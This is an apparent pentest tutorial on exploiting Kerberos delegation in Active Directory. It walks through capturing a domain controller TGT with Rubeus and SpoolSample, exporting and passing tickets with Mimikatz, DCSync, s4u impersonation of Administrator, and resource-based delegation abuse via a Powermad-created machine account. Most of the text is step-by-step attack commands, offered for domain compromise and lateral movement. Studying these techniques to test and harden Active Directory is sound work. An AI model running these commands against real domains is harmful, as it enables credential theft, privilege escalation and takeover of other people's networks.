What is Kerberos delegation?

As stated by Microsoft, “delegation is one of the most important security features of Active Directory Domain Services. Delegation enables a higher administrative authority to grant specific administrative rights for containers and subtrees to individuals and groups. Domain administrators, with broad authority over large segments of users, are no longer required”.

Why is kerberos delegation used?

Delegation is utilized when a server or service account wants to impersonate another user.
For example, while accessing backend databases, front-end webservers mimic users, giving smooth access to data that users are permitted to see or update.

Types of delegation

There are three types of Kerberos delegation:

• Unconstrained delegation
• Constrained delegation
• Resource-based delegation

Unconstrained delegation

By abusing unconstrained delegation it’s possible gaining local administrative access to a host that is configured for Kerberos unconstrained delegation.

Finding unconstrained delegation it’s possible by using either PowerView or AD Module as well as BloodHound. In our example, PowerView is going to be used.

Import PowerView and then look for unconstrained delegation.

. .PowerView.ps1
Get-NetComputer -Unconstrained

Unconstrained delegation can also be found using BloodHound.

Tools and access levels needed in order to successfully exploit unconstrained delegation:

• Admin access to the machine
• Rubeus
• Spoolsample

If ticket it’s not in memory

Copy spoolsample and Rubeus on the machine.

Rubeus will be set up in monitor mode in order to capture the TGT, and spoolsample will coerce DC01 to authenticate to our desired host using the MS-RPRN RPC interface.

.Rubeus.exe monitor /interval:5

.spool_sample_windows_x86.exe finance-dc01.domain.local finance-rubeus_running_machine.domain.local

Switch back to the shell where Rubeus is monitoring and a TGT should be captured.

It is possible now to pass the captured ticket using Rubeus.

The above ticket belongs to an admin account. Since we have administrative privileges we should be able to do execute DCSync using Mimikatz.

If ticket is in memory

Another method of exploiting unconstrained delegation is by exporting the tickets within the memory. This can be achieved using Mimikatz.

Invoke-Mimikatz -Command ""sekurlsa::tickets /export"'

In case the Administrator’s account, or any other high privilege user ticket it’s present you can pass it in order to deepen your access into the network / lateral move.

Invoke-Mimikatz -Command '"kerberos:ptt <path_to_ticket>"'

Constained Delegation

To exploit constrained delegation, you must compromise the password or hash of an account that is set up with constrained delegation to a service. Once that occurs, you may theoretically impersonate any user in the environment to get access to that service.

In order to check for constrained delegation the following PowerView command can be used:

Get-NetComputer <Machine_we_have_access_to> -DomainController <DC_IP> | select name, msds-AllowedToDelegateTo, useraccountcontrol | fl

Another way of checking if a user has constrained delegation is using the following command:

Get-NetUser -TrustedToAuth

In this scenario, the attribute msds-allowedtodelegateto identifies the SPNs of services to which the computer BATCH is trusted to delegate (impersonate other domain users) and authenticate.

We can leverage Rubeus to request and pass the ticket in order to impersonate the desired user.

.Rubeus.exe s4u /user:Batch /domain:target.domain /rc4:user_hash /impersonateuser:Administrator /msdsspn:HTTP/target.domain /altservice:HOST /ptt

It’s possible to check for the Kerberos ticket using klist.

Now it should be possible to access the DC on behalf of the Administrator user.

Resource-based Constrained Delegation

Despite being more secure than the others, resource-based restricted delegation can still be exploited and utilized for lateral movement and even privilege escalation.

To take advantage of resource-based constrained delegation, one must fill in the msDS-AllowedToActOnBehalfOfOtherIdentity property with a computer account they control and know the SPN for the item they wish to access. Fortunately, because MachineAccountQuota allows all users to create up to ten computer accounts by default, this is simple to do from a non-privileged account.

By doing so, it’s possible on gaining remote code execution on that computer.

As can be seen below, the group has Write permission on the machine (the specified group has users in it).

It’s possible using Powermad to abuse resource-based constrained delegation.

Import the powershell module and use it in order to add a computer account to the domain.

. .Powermad.ps1

New-MachineAccount -Domain target.domain -DomainController <IP_OF_DC> -MachineAccount Pentest -Password (ConvertTo-SecureString 'PentestingAD101!' -AsPlainText -Force) -Verbose

Start a nt authority/system shell using PsExec and use AD module to set the user delegated access to the machine and check if you have delegation.

Get-ADComputer <target_machine> -Properties PrincipalsAllowedToDelegateToAccount

Set-ADComputer <target_machine> -PrincipalsAllowedToDelegateToAccount <Computer_account> -Verbose

Get-ADComputer <target_machine> -Properties PrincipalsAllowedToDelegateToAccount

Use Rubeus to generate the password hash for the password set previously.

.Rubeus.exe hash /password:PentestingAD101 /user:Pentest /domain:target.domain

Now impersonating another user should be possible using Rubeus.

.Rubeus.exe s4u /user:Pentest$ /rc4:c465574c31ec099c9af64575b1a4ec98 /msdsspn:http/track01 /impersonateuser:admin /ptt

Access to the target machine should be possible now.

There is a multitude of techniques that can be leveraged to move across the domain, or to another domain.